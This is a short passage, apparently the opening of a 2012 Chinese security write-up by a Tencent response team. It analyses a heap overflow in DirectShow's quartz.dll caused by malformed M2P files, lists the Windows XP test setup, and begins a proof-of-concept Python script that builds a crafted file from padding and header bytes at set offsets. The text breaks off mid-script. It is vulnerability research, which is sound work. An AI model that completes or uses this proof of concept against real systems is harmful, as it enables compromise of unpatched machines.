DirectShow quartz.dll M2P文件堆溢出漏洞分析.pdfVIP

微软DirectShowquartz.dllM2P文件堆溢出分析

riusksk

腾讯安全应急响应

2012年10月20日星期六

分析环境

1、WindowsXPSP3中文版

2、quartz.dll6.5.2600.5596

测试代码

PoC.py:

l=3315716*A

s1=((0,\x00\x00\x01\xba),(2048,\x00\x00\x01\xba),

(3289120,\x00\x00\x01\xe0\x07),(3289273,\x00\x00\x01\xb3),

(3289283,\xba),(3289452,\x42\x42\x42\x42),

(3289468,\x00\x00\x01\x00),(3290359,\x00\x00\x01\x00),

(3301408,\x00\x00\x01\xe0\x